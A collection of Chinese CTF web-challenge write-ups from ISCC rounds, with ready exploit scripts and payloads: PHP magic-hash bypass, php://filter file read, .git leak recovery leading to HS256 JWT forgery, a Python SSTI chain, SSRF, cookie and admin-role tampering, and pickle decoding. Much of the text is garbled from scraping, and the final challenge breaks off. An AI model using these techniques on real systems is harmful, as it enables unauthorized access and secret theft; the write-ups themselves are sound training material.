校赛 Web WP web1 解题思路 这题一共可以拆成三关,分别对应:
字符串替换绕过
PHP 数组参数构造
MD5 魔法哈希弱比较
第一关:step1 双写绕过 访问题目后,页面会回显一段调试信息:
通过测试可以发现:
key 会变成空
monkey 会变成 mon
flkeyag 会变成 flag
说明后端大概率存在类似下面的逻辑:
1 $step1 = str_replace ('key' , '' , $_GET ['step1' ]);
但程序后面又需要处理后的结果等于 key,所以可以使用双写绕过:
原因是:
这样就能通过第一关。
第二关:构造 POST 数组 第一关通过后,页面会提示:
1 2 [AUTH] Phase 1 Success. Master Const: 1337 [SYS] Error: POST data structure 'a' missing.
这里重点不是普通的 a=1337,而是题目要求一个“结构化”的 a。
实际通过测试可知,需要传:
这样在 PHP 中会被解析成:
1 $_POST ['a' ]['key' ] = 1337 ;
于是第二关通过。
第三关:MD5 魔法哈希 第二关通过后,页面提示需要 GET 参数 a 和 b 进行 collision check。
这里直接使用经典 MD5 魔法哈希:
它们的 MD5 分别为:
1 2 md5("QNKCDZO") = 0e830400451993494058024219903391 md5("240610708") = 0e462097431906509019562988736854
如果服务端使用了弱比较:
那么这两个值都会被当成科学计数法形式的 0e...,从而在 PHP 中都等价于数字 0,因此比较成立。
这样第三关通过,拿到 flag。
HackBar 利用方法 1. URL 栏填写 在 HackBar 的 URL 中填写:
1 <目标地址>/?step1=kkeyey&a=QNKCDZO&b=240610708
2. 请求方法 选择:
3. POST Data 在 POST 数据中填写:
4. 发送请求 发送后即可得到 flag。
最终 Payload GET 1 <目标地址>/?step1=kkeyey&a=QNKCDZO&b=240610708
POST
Flag 1 ISCC{hash_collision_v1_0e_2x_stable}
总结 这题考察的是三个典型 PHP Web 知识点:
str_replace 双写绕过
数组参数构造
MD5 魔法哈希弱比较
属于比较标准的 PHP 弱类型综合题。
JSON Beautifier JSON Beautifier WP 题目信息
目标: <目标地址>/
关键接口:
/api/beautify.php
/api/preview.php
首页是一个 JSON 美化工具,robots.txt 里也能看到两个接口路径。访问 /api/preview.php 时会出现一句提示:
1 有些东西离这里有点远,也许换个路径层级再看看,会遇到更有意思的文件。
这句话基本就在提醒路径相关问题。
漏洞点分析 先看 /api/beautify.php 的行为。它支持两种模式:
raw: 提交 JSON 文本,服务端格式化后保存为临时文件
data_uri: 提交 data:text/plain;base64,...,服务端 base64 解码后保存为临时文件
返回值里会给出一个 preview_xxx.tmp,然后可以通过:
1 /api/preview.php?file=preview_xxx.tmp
来读取这个临时文件。
后面继续分析发现,preview.php 不只是读临时文件,它还允许读取源码目录下的文件。最终读到的关键源码逻辑如下:
1 2 3 4 5 6 7 $requested = TMP_DIR . '/' . $file ;$real = realpath ($requested );$tmpPrefix = rtrim (TMP_DIR, '/' ) . '/' ;$srcPrefix = rtrim (SRC_API_DIR, '/' ) . '/' ;if (!startsWith ($real , $tmpPrefix ) && !startsWith ($real , $srcPrefix )) { out (403 , "Forbidden\n" ); }
也就是说,file 参数最终拼到 TMP_DIR 后面,再走 realpath。只要真实路径仍然落在:
就允许读取。
源码读取 通过路径构造可以直接读到源码:
1 2 3 /api/preview.php?file=../../var/www/html/src/api/preview.php /api/preview.php?file=../../var/www/html/src/api/beautify.php /api/preview.php?file=../../var/www/html/src/api/config.php
其中 config.php 内容最关键:
1 2 3 4 5 const APACHE_DEFAULT_DOCROOT = '/var/www/html' ;const APACHE_DOCROOT = '/var/www/html/src' ;const TMP_DIR = '/tmp/json_preview' ;const SRC_API_DIR = APACHE_DOCROOT . '/api' ;const FLAG_PATH = '/secret/flag' ;
这里拿到了三条重要信息:
临时目录: /tmp/json_preview
源码目录: /var/www/html/src/api
flag 路径: /secret/flag
最终利用点 preview.php 在读取 .tmp 文件时还有一段特殊逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 if ($isTmp ) { $scheme = schemeOf ($line ); if ($scheme !== null ) { $deny = [ 'http' , 'https' , 'ftp' , 'ftps' , 'phar' , 'expect' , ]; $pos = stripos ($line , 'resource=' ); $resource = rawurldecode (substr ($line , $pos + 9 )); if ($resource !== FLAG_PATH) { out (403 , "Forbidden resource\n" ); } $data = @file_get_contents ($line ); echo $data ; exit ; } }
这里的问题是:
它会把 .tmp 文件里的内容当成一个 URI 再次 file_get_contents
它只禁用了 http、https、ftp、ftps、phar、expect
但是没有禁用 php://filter
所以我们只要让 .tmp 文件内容变成:
服务端就会主动去读取 flag,并把内容返回出来。
HackBar 复现步骤 1. 生成恶意临时文件 在 HackBar 里构造一个 POST 请求:
1 Content-Type : application/json
1 { "data" : "data:text/plain;base64,cGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS9zZWNyZXQvZmxhZw==" , "preview_type" : "data_uri" }
这里的 base64 解码后就是:
发送之后会得到类似响应:
1 { "success" : true , "preview_id" : "preview_xxxxxxxxxxxxxxxx" , "preview_file" : "preview_xxxxxxxxxxxxxxxx.tmp" }
记下 preview_file。
2. 读取临时文件触发二次读取 把上一步得到的文件名带入:
1 <目标地址>/api/preview.php?file=preview_xxxxxxxxxxxxxxxx.tmp
页面会返回一串 base64 数据,例如:
1 SVNDQ3tVVmJkNm5TUFkzV3ZFMjZmY1BzeTRWY2J9Cg==
3. base64 解码 把上面的返回值解码,得到最终 flag:
1 ISCC{UVbd6nSPY3WvE26fcPsy4Vcb}
一键脚本 本地已经写好一键利用脚本:
直接运行:
1 python F:\robot\test \exp.py
Flag 1 ISCC{UVbd6nSPY3WvE26fcPsy4Vcb}
夜班审计台 夜班审计台 Web 题 WP 题目信息
目标:<目标地址>/
类型:.git 泄露 + JWT 算法混用 + 旧版 HMAC 签名规则复用
初步探测 访问首页后,可以看到这是一个“夜班审计台”的查询页面,未登录时会提示跳转到 /login。
继续读前端脚本 /static/main.js,可以看到一个非常关键的构建痕迹:
1 2 3 document .addEventListener ("DOMContentLoaded" , () => { window .__buildTrace = "/.git/HEAD" ; });
这个变量几乎就是在提醒选手去看 .git。
验证结果如下:
1 2 3 4 5 6 GET /static/main.js => window.__buildTrace = "/.git/HEAD" GET /.git/HEAD => ref: refs/heads/master GET /.git/refs/heads/master => 9fdf9b412e7cfe179e59d28f25f47cffd68484e7
虽然 /.git/index 不能直接下载,但 /.git/objects/ 下的 loose objects 是可读的,因此可以顺着 commit/tree/blob 手工恢复源码。
源码恢复 当前 revision 当前分支指向的 commit 为:
1 9fdf9b412e7cfe179e59d28f25f47cffd68484e7
对应 object 路径:
1 /.git/objects/9f/df9b412e7cfe179e59d28f25f47cffd68484e7
解压 commit object 后可得到:
1 2 tree 8f738d6f9fb84ee91a26db967752dced4413a96e parent 9df0e0cf00ce4994be27713089d701dcbb9183d2
继续读 tree object:
1 /.git/objects/8f/738d6f9fb84ee91a26db967752dced4413a96e
可以得到当前树中唯一文件:
legacy_probe_stub.py
blob: 55cf35feec8ad48b20bebcdb8080e66eaf089fda
关键代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 DEFAULT_AUDITOR = ("auditor" , "audit2025" ) INTERNAL_DEV_SECRET = "ISCC_2026_JWT_DEBUG_KEY_#9527" JWT_ACCEPTED = ["RS256" , "HS256" ] def decode_ticket (token ): """ current branch: if header.alg == "RS256": verify with audit_rsa_pub.pem elif header.alg == "HS256": verify with INTERNAL_DEV_SECRET normal login still issues role=user """
这里已经给出了当前利用链的第一段信息:
有默认账号 auditor / audit2025
服务端同时接受 RS256 和 HS256
HS256 使用硬编码密钥 ISCC_2026_JWT_DEBUG_KEY_#9527
正常登录时,服务端下发的是一个 RS256 的 audit_token,但 token 中的角色仍然只有 user,说明必须自己伪造权限更高的票据。
上一个 revision 当前代码里还有一句非常醒目的提示:
1 note.append("if night shift asks for old sign rule, inspect previous revision" )
因此继续查看父提交:
1 /.git/objects/9d/f0e0cf00ce4994be27713089d701dcbb9183d2
父提交对应的 tree 为:
1 14aef68bd64886840ee41f3749449d6d995200c2
父 tree 中同样只有一个文件 legacy_probe_stub.py,blob 为:
1 c9accad05490564b4a32c0053054b04475ca87b1
关键代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 SERVER_SECRET = "ISCC_SERVER_SECRET_REAL" LOCAL_ONLY = ("127.0.0.1" , "::1" ) AUDIT_NODE = "core-storage-01" TIME_WINDOW = 60 def verify_probe (node_id: str , ts: int , sign: str ) -> bool : """ internal/audit fallback: msg = f"{node_id}:{ts}" expected = HMAC_SHA256_hex(SERVER_SECRET, msg) abs(now-ts) <= 60 remote_addr in LOCAL_ONLY """
这里给出了第二段核心信息:
节点签名密钥:ISCC_SERVER_SECRET_REAL
目标节点:core-storage-01
签名规则:HMAC_SHA256_HEX(secret, f"{node_id}:{ts}")
LOCAL_ONLY 的限制并没有阻止我们,因为 /auditor/nodes 这个页面本身就会代我们去调用内部接口,等于天然提供了转发通道。
利用链 1. 伪造审计员 JWT 既然服务端接受 HS256,而开发密钥又已经泄露,那么最省事的办法不是攻击 RS256,而是直接自己签一个 HS256 的 audit_token。
payload 结构如下:
1 2 3 4 5 6 7 { "sub" : "auditor" , "role" : "auditor" , "iat" : <当前时间戳>, "exp" : <当前时间戳 + 1800 >, "iss" : "夜班审计台" }
签名方式:
1 HMAC_SHA256("ISCC_2026_JWT_DEBUG_KEY_#9527", base64url(header) + "." + base64url(payload))
拿这个 token 作为 audit_token cookie,即可访问:
2. 伪造节点查询签名 进入审计员页面后,会要求提交三个字段:
旧版本源码已经明确给出规则:
1 sign = HMAC_SHA256_HEX("ISCC_SERVER_SECRET_REAL", f"{node_id}:{ts}")
因此只需要取:
node_id = core-storage-01
ts = 当前时间戳
然后计算对应 sign 并提交给 /auditor/nodes。
3. 返回 flag 当前环境中,页面会直接返回:
1 node_id=core-storage-01, status=OK, flag=ISCC{distributed_audit_jwt}
HackBar 手工复现 这里把“手工复现”定义为:
不写专门的 exploit 脚本
用浏览器访问页面确认漏洞点
用浏览器 Console 计算 JWT 和 HMAC
用 HackBar 发最终的 POST 包
HackBar 本身不负责 HMAC/JWT 计算,所以最顺手的打法是“Console 算值,HackBar 发包”。
第一步:确认 .git 泄露 直接在浏览器里访问:
1 2 3 <目标地址>/static/main.js <目标地址>/.git/HEAD <目标地址>/.git/refs/heads/master
确认存在 .git 暴露后,结合上面恢复出的源码,可以得到三组关键数据:
JWT 密钥:ISCC_2026_JWT_DEBUG_KEY_#9527
节点签名密钥:ISCC_SERVER_SECRET_REAL
目标节点:core-storage-01
第二步:在浏览器 Console 里伪造 audit_token 先打开目标站点任意页面,例如:
然后打开开发者工具 Console,执行下面这段 JavaScript:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 (() => { const enc = new TextEncoder (); const b64uBytes = (bytes ) => btoa (String .fromCharCode (...bytes)) .replace (/\+/g , "-" ) .replace (/\//g , "_" ) .replace (/=+$/g , "" ); const b64uJson = (obj ) => b64uBytes (enc.encode (JSON .stringify (obj))); const hmacB64u = async (keyText, dataText ) => { const key = await crypto.subtle .importKey ( "raw" , enc.encode (keyText), { name : "HMAC" , hash : "SHA-256" }, false , ["sign" ] ); const sig = new Uint8Array ( await crypto.subtle .sign ("HMAC" , key, enc.encode (dataText)) ); return b64uBytes (sig); }; (async () => { const now = Math .floor (Date .now () / 1000 ); const header = b64uJson ({ alg : "HS256" , typ : "JWT" }); const payload = b64uJson ({ sub : "auditor" , role : "auditor" , iat : now, exp : now + 1800 , iss : "夜班审计台" , }); const sig = await hmacB64u ( "ISCC_2026_JWT_DEBUG_KEY_#9527" , `${header} .${payload} ` ); const token = `${header} .${payload} .${sig} ` ; console .log ("audit_token =" , token); document .cookie = `audit_token=${token} ; path=/` ; })(); })();
这一步做完后,浏览器当前站点下就会有一个伪造好的 audit_token cookie。
为了确认是否成功,可以直接访问:
如果页面显示当前用户角色是 auditor,说明 JWT 伪造已经成功。
第三步:在 Console 里生成节点签名 继续在同一个页面的 Console 里执行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 (() => { const enc = new TextEncoder (); const hex = (buf ) => [...new Uint8Array (buf)] .map ((b ) => b.toString (16 ).padStart (2 , "0" )) .join ("" ); (async () => { const node_id = "core-storage-01" ; const ts = Math .floor (Date .now () / 1000 ).toString (); const key = await crypto.subtle .importKey ( "raw" , enc.encode ("ISCC_SERVER_SECRET_REAL" ), { name : "HMAC" , hash : "SHA-256" }, false , ["sign" ] ); const sign = hex ( await crypto.subtle .sign ("HMAC" , key, enc.encode (`${node_id} :${ts} ` )) ); console .log ({ node_id, ts, sign }); })(); })();
Console 会输出三项:
第四步:用 HackBar 发最终 POST 包 打开 HackBar,按下面格式发包。
URL:
Method:
Headers:
1 Content-Type : application/x-www-form-urlencoded
如果你的 HackBar 不自动带当前站点 cookie,就再补一行:
1 Cookie : audit_token=<第二步生成的 token>
Body:
1 node_id=core-storage-01&ts=<第三步输出的 ts>&sign=<第三步输出的 sign>
发出去之后,返回包里会直接出现:
1 node_id=core-storage-01, status=OK, flag=ISCC{distributed_audit_jwt}
HackBar 复现思路总结 这题手工发包时最容易卡住的点不是 POST 本身,而是两个签名值:
audit_token 不是普通登录拿到的用户票据,而是要自己伪造 role=auditor 的 HS256 JWT
/auditor/nodes 不是随便填参数就行,还要带上旧版源码里的 HMAC 签名
HackBar 负责发包,Console 负责算值,是最省时间也最稳的手工打法
最小复现脚本 如果不想手工点,可以直接用下面的 Python 版本一把梭:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 import base64import hashlibimport hmacimport jsonimport reimport timeimport urllib.parseimport urllib.requestBASE_URL = "<目标地址>" JWT_SECRET = b"ISCC_2026_JWT_DEBUG_KEY_#9527" NODE_SIGN_SECRET = b"ISCC_SERVER_SECRET_REAL" NODE_ID = "core-storage-01" def b64u (data: bytes ) -> str : return base64.urlsafe_b64encode(data).rstrip(b"=" ).decode() def build_jwt () -> str : now = int (time.time()) header = {"alg" : "HS256" , "typ" : "JWT" } payload = { "sub" : "auditor" , "role" : "auditor" , "iat" : now, "exp" : now + 1800 , "iss" : "夜班审计台" , } part1 = b64u(json.dumps(header, separators=("," , ":" ), ensure_ascii=False ).encode()) part2 = b64u(json.dumps(payload, separators=("," , ":" ), ensure_ascii=False ).encode()) sig = hmac.new(JWT_SECRET, f"{part1} .{part2} " .encode(), hashlib.sha256).digest() return f"{part1} .{part2} .{b64u(sig)} " def build_node_sign (ts: int ) -> str : return hmac.new(NODE_SIGN_SECRET, f"{NODE_ID} :{ts} " .encode(), hashlib.sha256).hexdigest() def main () -> None : ts = int (time.time()) body = urllib.parse.urlencode( { "node_id" : NODE_ID, "ts" : str (ts), "sign" : build_node_sign(ts), } ).encode() req = urllib.request.Request( f"{BASE_URL} /auditor/nodes" , data=body, headers={ "Cookie" : f"audit_token={build_jwt()} " , "Content-Type" : "application/x-www-form-urlencoded" , }, ) html = urllib.request.urlopen(req, timeout=10 ).read().decode("utf-8" , "replace" ) match = re.search(r"flag=(ISCC\\{[^}]+\\})" , html) if not match : raise SystemExit("flag not found" ) print (match .group(1 )) if __name__ == "__main__" : main()
运行:
输出:
1 ISCC{distributed_audit_jwt}
总结 这题的核心不是爆破,而是把两个 revision 的信息串起来:
当前 revision 泄露了 JWT 的 HS256 开发密钥
上一个 revision 泄露了内部节点查询的 HMAC 密钥和节点名
/auditor/nodes 这个特权页面同时充当了内网转发器和最终回显通道
所以最终链条非常干净:
.git 泄露恢复源码
伪造 HS256 审计员 JWT
计算旧版节点签名
POST 到 /auditor/nodes
回显 flag
Final Flag 1 ISCC{distributed_audit_jwt}
区赛 Web WP 企业公文套红预览系统 解题思路 1. 信息收集 1.1 首页 访问靶机
页面展示 5 个公文字段:标题、发文单位、发文字号、发文日期、摘要
源码注释中直接泄露:
1.2 robots.txt
1 2 User-agent : *Disallow : /backup/
1.3 备份文件泄露 已确认可访问:/backup/app.py.bak、/backup/index.php.bak、/backup/app.py.bak 内容:
其中 flag 的值 + ++ 只是占位值,不是真实 flag。
1 /backup/index.php.bak 内容:
这个提示很关键输入内容一定要按照模板来”、“有一套模板就足够了”、“从空字符串对象 ‘’ 一路往上看”、意明显在暗示模板注入/SSTI,但实际实现并不是标准Jinja2。
2 明确被拦截的敏感词 在线实测中,这些会触发 模板已被拦截:、flag、config、request、self、os、open、read、import、eval、exec、popen、system、mro、secret、subprocess
3一个关键点:{{doc.get('title')}} 实际上是可以执行的。 模板引擎不是只允许数字,而是一个固定语法白名单解释器,允许以下形式:
1 2 3 4 5 {{doc.get('title')}} {{doc.get('department')}} {{doc.get('doc_no')}} {{doc.get('date')}} {{doc.get('summary')}}
这意味着doc是模板上下文中已注入的对象,且引擎允许,属性访问链(.操作符),方法调用(.get()),字符串字面量参数
4 核心矛盾 doc.get(‘flag’) 可以取到 flag 值(build_doc() 中有 flag 键),但 flag 关键词被黑名单拦截。
需要一种方法在 doc.get() 的参数中动态构造 ”flag” 字符串,而不直接出现 flag 子串。
5 绕过思路:SSTI 链 + chr() 拼接 提示”从空字符串对象’’一路往上看”的真正含义:
从’’(空字符串)出发,沿__class__.base .subclasses ()链向上
找到BuiltinBridge类(index=117),从中提取chr函数
用chr()逐字符拼出”flag”,绕过关键词黑名单
将拼接结果传入 doc.get()
完整攻击链:
Step 1: 从空字符串出发’’.class # <class ‘str’>
1 - Step 2: 沿 MRO 向上''.class.base # <class 'object'>
1 - Step 3: 获取所有子类''.class.base.subclasses() # 列表,index=117 是 BuiltinBridge
1 - Step 4: 提取 chr 函数''.class.base.subclasses()[117].init.globals['builtins']['chr']
Step 5: 用 chr 拼出 “flag”chr(102) + chr(108) + chr(97) + chr(103) # = “flag”
Step 6: 传入 doc.get() 1 doc.get(chr(102)+chr(108)+chr(97)+chr(103)) # = doc.get('flag')
6最终 Payload 1 {{doc.get(''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['chr'](102)+''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['chr'](108)+''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['chr'](97)+''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['chr'](103))}}
Exp 1 2 3 4 5 6 7 8 9 10 import requestsimport reimport htmlurl = "<目标地址>/preview" payload = "''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['chr']" key = "+" .join(f"{payload} ({i} )" for i in (102 , 108 , 97 , 103 )) payload = f"{{{{doc.get({key} )}}}}" resp = requests.post(url, data={"tpl" : payload}) print (resp.text)
值班邮件台 解题思路 一个PHP”值班邮件台”应用,包含邮件列表、后台预览面板和内部诊断接口。需要依次完成 Cookie 伪造、信息收集、认证绕过和 SSRF 来获取 flag。
Step 1:Cookie 伪造 — 进入后台 首页响应头设置了两个关键 Cookie:
1 2 Set-Cookie : mail_user=guestSet-Cookie : mail_role=user
邮件 m1(登录态先保留旧方案)提示:
值班同学如果要进后台,先确认自己当前是不是管理员视角。
将 mail_role 从 user 改为 admin,即可访问 /admin.php:
1 curl -b "mail_user=admin; mail_role=admin" <目标地址>/admin.php
Step 2:信息收集 — 发现内部路由 后台面板有一个文件下载链接 /download.php?file=files/notes/preview-readme.txt,其中提到诊断地址命名规则以 route-index.txt 为准。下载该文件:
health -> /internal/health
mailq -> /internal/queue
final -> /internal/report?view=flag&slot=last
Step 3:MD5 碰撞 — 绕过双人复核 后台表单有三个字段:token_a、token_b、target_url。提交后返回:
双人复核未通过:两份预览凭据无法相互印证。
邮件 m3 提示”先做摘要再比对,两份输入至少得看起来不是同一串”——服务端对两个 token 分别取 MD5,然后用 == 松散比较。
利用 PHP 的 0e magic hash 绕过:当 MD5 值以 0e 开头且后面全是数字时,PHP 会将其解析为科学计数法 0 × 10^n = 0,两个不同的字符串因此”相等”:
字符串
MD5
240610708
0e462097431906509019562988736854
QNKCDZO
0e830400451993494058024219903391
两者松散比较结果均为 0 == 0,复核通过。
Step 4:SSRF — 获取 Flag 复核通过后,target_url 参数由服务端发起内部 HTTP 请求。填入步骤 2 发现的路由:
http://127.0.0.1/internal/report?view=flag&slot=last
响应 textarea 中返回:
ISCC{ACxmCnWgL3C7LqWImKfgtK6h}
Exp(如有,请粘贴完整代码,不允许截图!)
1 2 3 4 5 import requestsimport reurl = "<目标地址>" s = requests.Session()
1. Cookie 伪造 1 2 s.cookies.set("mail_user", "admin") s.cookies.set("mail_role", "admin")
2. MD5 magic hash 绕过 + SSRF 1 2 3 4 5 resp = s.post(f"{url}/admin.php", data={ "token_a": "240610708", "token_b": "QNKCDZO", "target_url": "[http://127.0.0.1/internal/report?view=flag&slot=last](http://127.0.0.1/internal/report?view=flag&slot=last)", })
3. 提取 flag 1 2 m = re.search(r"ISCC{.*?}" , resp.text) print (m.group())
灵感笔记 解题思路
一、信息收集 访问:GET / HTTP/1.1Host: <目标主机>
返回:HTTP/1.1 302 FOUNDLocation: /login
登录页标题和文案是“灵感笔记”,注册后会跳到:/dashboard
表面功能只有:
1 2 3 4 5 6 /login /register /dashboard /settings /feedback /project/
但抓到页面脚本后,发现真实线索在:
里面出现了完全不同的一套命名:
1 2 3 4 const API_BASE = '/api/v1' ;console .log ('[System] Project Management System initialized' );console .log ('[Debug] Use this trace_id at /feedback to contact the author' );fetch ('/api/admin/hint' )fetch (`${API_BASE} /project/detail` , {method : 'POST' ,body : JSON .stringify ({ project_id : projectId })});
这说明:
站点前端文案和真实后端功能是错位的
存在隐藏接口 /api/v1/project/detail
存在管理员接口 /api/admin/hint
报错时会生成 trace_id,并可在 /feedback 查询日志
二、trace_id 日志回显 随便请求一个不存在的项目:
1 GET /project/00000000-0000-0000-0000-000000000000 HTTP/1.1Host: <目标主机>
返回: 1 2 3 4 { "error" : "访问被拒绝" , "message" : "您无权查看此笔记" , "trace_id" : "3f5524f2-ef71-4948-b81a-094a53658ac5" }
然后访问:
1 2 POST /feedback HTTP/1.1Host: <目标主机>Content-Type: application/x-www-form-urlencoded trace_id=3f5524f2-ef71-4948-b81a-094a53658ac5
页面会直接回显日志内容:
1 2 3 4 5 6 7 8 9 10 11 12 { "level" : "错误" , "message" : "笔记不存在: 00000000-0000-0000-0000-000000000000" , "metadata" : { "source" : "notes_module" } , "project_id" : "00000000-0000-0000-0000-000000000000" , "request_data" : "GET /project/00000000-0000-0000-0000-000000000000" , "stack_trace" : "NoteNotFoundException: 笔记不存在" , "timestamp" : "..." , "trace_id" : "..." , "user_id" : "6e6b5310-2ad8-492a-8d6d-ce528fd81345" }
这一步说明:
1 /feedback 可以按 trace_id 读日志
日志里会泄露 user_id、模块名、请求路径等调试信息
这条链是题目明确引导的辅助利用点
不过目前测试下来,trace_id 本身没有明显的目录穿越或 SQL 注入效果。
三、真正的存储位置在客户端 Session 抓到 session cookie 后,直接做 Base64 + zlib 解码,可以看到完整 JSON。
示例解码后内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 { "_permanent" : false , "favorites" : [ ] , "logged_in" : true , "logs" : { } , "notes" : [ { "id" : "c08eccec-3e0d-47fb-8943-36851e8a41a0" , "name" : "我的第一篇笔记" , "content" : "今天开始使用灵感笔记了!..." , "tags" : [ "随笔" , "日记" ] } , { "id" : "16fd4e74-4c14-4184-8184-9880551cbb96" , "name" : "写作素材收集" , "content" : "今天收集的一些写作素材:..." , "tags" : [ "素材" , "写作" ] } ] , "registered_users" : [ "codex_xxx" ] , "trash" : [ ] , "user_id" : "977c6e70-f06f-49d1-9bae-5da6b60058dc" , "username" : "codex_xxx" }
结论:
用户笔记、收藏、回收站等几乎都存在 session 里
后端严重依赖客户端 session 中的身份字段
后续所有“权限”很可能只是基于 username 等简单值判断
四、伪造管理员身份:直接注册 admin
这里是目前最关键、也是已经实际验证成功的一步。
直接注册:
1 2 POST /register HTTP/1.1Host: <目标主机>Content-Type: application/x-www-form-urlencoded username=admin&password=pass123456
注册成功后,访问:
1 GET /api/admin/hint HTTP/1.1Host: <目标主机>Cookie: session=...
普通账号返回:
而 admin 账号返回:
这说明管理员校验非常弱,至少满足下面条件之一:
直接比较 session[“username”] == “admin”
或者以是否注册了名字叫 admin 的用户作为管理员条件
无论哪种,本质都是未授权管理员身份获取。
五、隐藏接口 /api/v1/project/detail 该接口对我们自己的项目 ID 是可读的。
请求:
1 2 POST /api/v1/project/detail HTTP/1.1Host: <目标主机>Content-Type: application/jsonCookie: session=... {"project_id":"bf7b1c68-805f-4ade-8ea3-60b67dd20471"}
返回: 1 2 3 4 5 6 7 8 9 { "success" : true , "note" : { "id" : "bf7b1c68-805f-4ade-8ea3-60b67dd20471" , "name" : "我的第一篇笔记" , "content" : "..." , "folder" : "默认文件夹" } }
但对随机 UUID 会返回:
1 2 3 4 5 { "error" : "笔记不存在" , "message" : "笔记不存在" , "trace_id" : "..." }
目前已经确认的行为:
这个接口真实存在
能读取当前 session 中的笔记对象
普通 Host 下还没有直接出 flag
六、真正的隐藏笔记
在 admin 会话下,dashboard 会直接显示隐藏笔记:
并且:
1 GET /api/note/flag-project-001 HTTP/1.1Host: <目标主机>Cookie: session=...
可以直接读到它的内容:
这说明:
flag-project-001 确实存在
1 /api/note/ 比 /api/v1/project/detail 更宽松
但笔记正文里只有 secret 提示,没有直接给出 flag
七、project/detail 拒绝访问时泄露序列化对象 当我们用 admin 身份去请求:
返回: 1 2 3 4 5 { "error" : "访问被拒绝" , "message" : "您无权查看此笔记" , "trace_id" : "9ee5bc5a-e817-4f4a-aa26-1fb7cc50764a" }
然后把这个 trace_id 交给 /feedback:
1 2 POST /feedback HTTP/1.1Host: <目标主机>Content-Type: application/x-www-form-urlencoded trace_id=9ee5bc5a-e817-4f4a-aa26-1fb7cc50764a
日志内容里会出现:
关键点就在 stack_trace 的:
Object:
这是一个 Python pickle 序列化对象的十六进制表示。
八、解码序列化对象 本地解码:
最终 flag:ISCC{Hch8dGwumApTYSBA4EcuXMNkT}
Exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 import pickleimport reimport requestsBASE = "<目标地址>" USERNAME = "admin" PASSWORD = "pass123456" def ensure_admin_session (session: requests.Session ) -> None : response = session.post( BASE + "/login" , data={"username" : USERNAME, "password" : PASSWORD}, timeout=(5 , 10 ), allow_redirects=True , ) if "session" in session.cookies: print (f"[+] logged in as {USERNAME} : {response.status_code} " ) return response = session.post( BASE + "/register" , data={"username" : USERNAME, "password" : PASSWORD}, timeout=(5 , 10 ), allow_redirects=True , ) if "session" not in session.cookies: raise RuntimeError("failed to create or log into admin session" ) print (f"[+] registered as {USERNAME} : {response.status_code} " ) def get_trace_id (session: requests.Session ) -> str : response = session.post( BASE + "/api/v1/project/detail" , json={"project_id" : "flag-project-001" }, timeout=(5 , 10 ), ) print (f"[+] trigger response: {response.status_code} " ) print (response.text) match = re.search(r'"trace_id"\s*:\s*"([0-9a-f-]{36})"' , response.text, flags=re.I) if not match : raise RuntimeError("could not extract trace_id" ) return match .group(1 ) def fetch_log (session: requests.Session, trace_id: str ) -> str : response = session.post( BASE + "/feedback" , data={"trace_id" : trace_id}, timeout=(5 , 10 ), ) print (f"[+] feedback response: {response.status_code} " ) return response.text def decode_flag (log_html: str ) -> str : match = re.search(r"Object:\s*([0-9a-fA-F]+)" , log_html) if not match : raise RuntimeError("could not find serialized object in log" ) obj = pickle.loads(bytes .fromhex(match .group(1 ))) print (f"[+] decoded object: {obj} " ) flag = obj.get("flag" ) if not flag: raise RuntimeError("flag missing in decoded object" ) return flag def main () -> None : session = requests.Session() session.trust_env = False session.headers.update({"User-Agent" : "codex-final-probe/2.0" }) ensure_admin_session(session) trace_id = get_trace_id(session) print (f"[+] trace_id: {trace_id} " ) log_html = fetch_log(session, trace_id) flag = decode_flag(log_html) print (f"[+] FLAG: {flag} " ) if __name__ == "__main__" : main()
运行结果
1 2 3 4 5 6 7 [+] logged in as admin: 200 [+] trigger response: 403 {"error":"\u8bbf\u95ee\u88ab\u62d2\u7edd","message":"\u60a8\u65e0\u6743\u67e5\u770b\u6b64\u7b14\u8bb0","trace_id":"1249ae8e-f08d-4154-a8aa-f708d41e3087"} [+] trace_id: 1249ae8e-f08d-4154-a8aa-f708d41e3087 [+] feedback response: 200 [+] decoded object: {'type': 'FLAG_OBJECT', 'flag': 'ISCC{Hch8dGwumApTYSBA4EcuXMNkT}', 'project_id': 'flag-project-001', 'timestamp': '2026-05-11T11:44:35.048916'} [+] FLAG: ISCC{Hch8dGwumApTYSBA4EcuXMNkT}
社团活动统计 解题思路 第一步:信息收集
访问目标地址<目标地址>,发现一个校园社团活动平台页面。
页面底部有重要提示:
🕵️ 访问核心功能需:用户代理+官方来源页+校园令牌
第二步:发现隐藏文件
查看robots.txt文件:
1 2 User-agent : *Allow : /static/hint/tech_stack.txt
访问/static/hint/tech_stack.txt,获取关键信息:
Backend: Django 5.2.5
ATTENTION:
1 2 3 To access the core interface, you need to set two request headers correctly: 1. User-Agent: Must strictly follow "Campus-Stat/1.0" (including case and special symbols); 2. Referer: Must be a valid HTTPS URL containing "campus-stat.example.com" (no extra content, only the root domain).
第三步:设置请求头
根据提示设置两个请求头:
1 2 User-Agent : Campus-Stat/1.0Referer : [https://campus-stat.example.com/](https://campus-stat.example.com/)
第四步:探索隐藏页面
使用正确的请求头访问各个路径:
flag{stat
